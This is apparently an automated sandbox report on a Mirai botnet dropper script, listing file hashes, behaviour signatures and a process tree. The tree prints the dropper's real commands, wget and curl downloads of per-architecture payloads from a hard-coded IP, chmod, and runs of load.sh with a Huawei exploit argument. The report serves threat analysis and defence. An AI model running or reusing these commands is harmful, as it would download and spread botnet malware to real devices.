Overview

overview

10

Static

static

1

R0I24_na.sh

ubuntu-18.04-amd64

10

R0I24_na.sh

debian-9-armhf

10

R0I24_na.sh

debian-9-mips

10

R0I24_na.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    123s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    17/10/2024, 07:12

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    R0I24_na.sh

  • Size

    4KB

  • MD5

    d97f217a1dad90ac2a811c2684010888

  • SHA1

    7aedac430643630d8d80e361279e85bf4a583679

  • SHA256

    81a013dd15f6f42dc9b2f72ebfc7b5ecbc3be11b6e7777618bc500fa910102f3

  • SHA512

    a98fe8d2822b641beaa27829c6e393974f666bdc502e459ed0e4e27f1213178fe92938960edcf81d4bcc30f7c0aec157dc353f34fb2652bff4c6a75996ac337f

  • SSDEEP

    96:vNVjkNw4tNx/oNN7sNdMdEpF7Nn9qNUsBN2mnNRf4N3tiNueXNySjNGWvNPl9:GO4Fk

Score
10/10
miraiunstablebotnetdefense_evasiondiscoveryupx

Malware Config

Extracted

Family

mirai

Botnet

UNSTABLE

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Contacts a large (175817) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 8 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Writes file to system bin folder 2 IoCs
  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Changes its process name 1 IoCs
  • Reads runtime system information 42 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/R0I24_na.sh
    /tmp/R0I24_na.sh
    1⤵
    • Writes file to tmp directory
    PID:740
    • /usr/bin/wget
      wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
      • Writes file to tmp directory
      PID:746
    • /usr/bin/curl
      curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:760
    • /bin/cat
      cat db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
        PID:767
      • /bin/chmod
        chmod +x db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh R0I24_na.sh systemd-private-ef27566b51d844db8c66878efff545e5-systemd-timedated.service-6XXSrz
        2⤵
        • File and Directory Permissions Modification
        PID:768
      • /tmp/load.sh
        ./load.sh huawei.exploit
        2⤵
        • Executes dropped EXE
        PID:769
      • /usr/bin/wget
        wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:772
      • /usr/bin/curl
        curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:773
      • /bin/cat
        cat db0fa4b8db0333367e9bda3ab68b8042.mips
        2⤵
        • System Network Configuration Discovery
        PID:774
      • /bin/chmod
        chmod +x db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh R0I24_na.sh systemd-private-ef27566b51d844db8c66878efff545e5-systemd-timedated.service-6XXSrz
        2⤵
        • File and Directory Permissions Modification
        PID:775
      • /tmp/load.sh
        ./load.sh huawei.exploit
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Changes its process name
        • Reads runtime system information
        PID:776
      • /usr/bin/wget
        wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
        2⤵
        • Writes file to tmp directory
        PID:781
      • /usr/bin/curl
        curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:785
      • /bin/cat
        cat db0fa4b8db0333367e9bda3ab68b8042.mpsl
        2⤵
          PID:830
        • /bin/chmod
          chmod +x db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh R0I24_na.sh systemd-private-ef27566b51d844db8c66878efff545e5-systemd-timedated.service-6XXSrz
          2⤵
          • File and Directory Permissions Modification
          PID:831
        • /tmp/load.sh
          ./load.sh huawei.exploit
          2⤵
          • Executes dropped EXE
          PID:832
        • /usr/bin/wget
          wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
          2⤵
          • Writes file to tmp directory
          PID:834
        • /usr/bin/curl
          curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:836
        • /bin/cat
          cat db0fa4b8db0333367e9bda3ab68b8042.arm
          2⤵
            PID:853
          • /bin/chmod
            chmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh R0I24_na.sh systemd-private-ef27566b51d844db8c66878efff545e5-systemd-timedated.service-6XXSrz
            2⤵
            • File and Directory Permissions Modification
            PID:855
          • /tmp/load.sh
            ./load.sh huawei.exploit
            2⤵
            • Executes dropped EXE
            PID:857
          • /usr/bin/wget
            wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
            2⤵
            • Writes file to tmp directory
            PID:860
          • /usr/bin/curl
            curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:875
          • /bin/cat
            cat db0fa4b8db0333367e9bda3ab68b8042.arm5
            2⤵
              PID:876
            • /bin/chmod
              chmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh R0I24_na.sh
              2⤵
              • File and Directory Permissions Modification
              PID:877
            • /tmp/load.sh
              ./load.sh huawei.exploit
              2⤵
              • Executes dropped EXE
              PID:878
            • /usr/bin/wget
              wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
              2⤵
              • Writes file to tmp directory
              PID:880
            • /usr/bin/curl
              curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:881
            • /bin/cat
              cat db0fa4b8db0333367e9bda3ab68b8042.arm6
              2⤵
                PID:882
              • /bin/chmod
                chmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh R0I24_na.sh
                2⤵
                • File and Directory Permissions Modification
                PID:883
              • /tmp/load.sh
                ./load.sh huawei.exploit
                2⤵
                • Executes dropped EXE
                PID:884
              • /usr/bin/wget
                wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
                2⤵
                • Writes file to tmp directory
                PID:886
              • /usr/bin/curl
                curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:887
              • /bin/cat
                cat db0fa4b8db0333367e9bda3ab68b8042.arm7
                2⤵
                  PID:889
                • /bin/chmod
                  chmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh R0I24_na.sh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:890
                • /tmp/load.sh
                  ./load.sh huawei.exploit
                  2⤵
                  • Executes dropped EXE
                  PID:891
                • /usr/bin/wget
                  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
                  2⤵
                  • Writes file to tmp directory
                  PID:893
                • /usr/bin/curl
                  curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:894
                • /bin/cat
                  cat db0fa4b8db0333367e9bda3ab68b8042.ppc
                  2⤵
                    PID:895
                  • /bin/chmod
                    chmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh R0I24_na.sh
                    2⤵
                    • File and Directory Permissions Modification
                    PID:896
                  • /tmp/load.sh
                    ./load.sh huawei.exploit
                    2⤵
                    • Executes dropped EXE
                    PID:897
                  • /usr/bin/wget
                    wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.m68k
                    2⤵
                    • Writes file to tmp directory
                    PID:899

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86
                  Filesize

                  33KB

                  MD5

                  6d1b6e91b1e2037fbf62ca7ddcf04932

                  SHA1

                  d0769095ec2e678074eb206b3537022129c1a776

                  SHA256

                  7f307860b88d639313ebd4195f1ef6a8d668d1941c6cbf6dc968961b1fe42782

                  SHA512

                  7397ef3b4f7d34b0637de721f38ac833ad6d526e9b7cdbc08fdb4b261fa675001a8079ff4b9378fa219090a945126832cb1ab3db86b35da0090b20051d31bb38

                  Download Submit

                • /tmp/load.sh
                  Filesize

                  35KB

                  MD5

                  fd5d7deebbb62aee931a1701a1042450

                  SHA1

                  4adc94ce9de13647815a16d6514b73e109c80785

                  SHA256

                  7a36bd7a9d19b6d48807264712141dd0543ffebd9db923a76799ffd687f352c9

                  SHA512

                  cb7beeb8d88ad48ac447b69b215738cdf1d706cb88c4945d0a0837c07dfe41a74107f9c4d7fccc5c7e5719ee9a912452ba3c53c360252bd46978f5d27c1b6df4

                  Download Submit

                • /tmp/load.sh
                  Filesize

                  37KB

                  MD5

                  144cc0c6dfb6f6e395065b02825a9ad1

                  SHA1

                  dfe5d7d8bef4511b42be1ae0235f7469d97bf789

                  SHA256

                  117cd63b79b8c0d3753ac6907206872d6527c2d6a641776c1021302d5dcec2b2

                  SHA512

                  9e5ca9ee3ebef09688d74de6bb4af9d6c1003173ee5846cd2370d4774e9bc92fef317113b19529cd2a5b1d18a38a626ebf6ed2da05e6c7b66e0d1b69d8ddc5d5

                  Download Submit

                • /tmp/load.sh
                  Filesize

                  34KB

                  MD5

                  b478298246ee6d313f4f576d0f7ec4cd

                  SHA1

                  94d25c6d4cfb1e218120d378d14c8d5ab868363b

                  SHA256

                  ed04f35cc6c4bef7ea8bf398436da916ebfab2490c10bd1d59df70f648e80df5

                  SHA512

                  83f67116e5c7074dcfa0e98d94697a0db2bdcaed15060aa31ed6a20eb543fd1d10d8fe26856178f78cc7402531de358e4b6c1d294086b18ab891d23954e78307

                  Download Submit

                • /tmp/load.sh
                  Filesize

                  30KB

                  MD5

                  d8893525da7152c787dcc7d6309a61ba

                  SHA1

                  87fa7fb894caaa77a9caa7bca6a5fd3fbe09f7cd

                  SHA256

                  2a1b03ac26cc72118fb419de4bee3352adf536ee4d5472e8cee14150ca53b8ef

                  SHA512

                  8fcf808c627c080350adcf005df853a6c1f3fb3e3b2b5d2745a972dcc4064ff731f7cebbbd7d4e8c9ade91727f587356f844b783fa6c90a2191b80a38ca1f6e6

                  Download Submit

                • /tmp/load.sh
                  Filesize

                  58KB

                  MD5

                  9f2845654c191bf453abcbf2adde9625

                  SHA1

                  24d62223d4801e4b3005759aaafc382c8b6dbb1b

                  SHA256

                  98164fe98014d122d6532a7c03c6c720db6fbf5c9e6fed7c7f80fa12f57a7647

                  SHA512

                  9b7afe327e4114393edcd75ddd0569766c272c8c512568175db372d1c1de89f9d52831ac2792acaa8ec6291eb72e112ce0217fad356611a05988afea17985183

                  Download Submit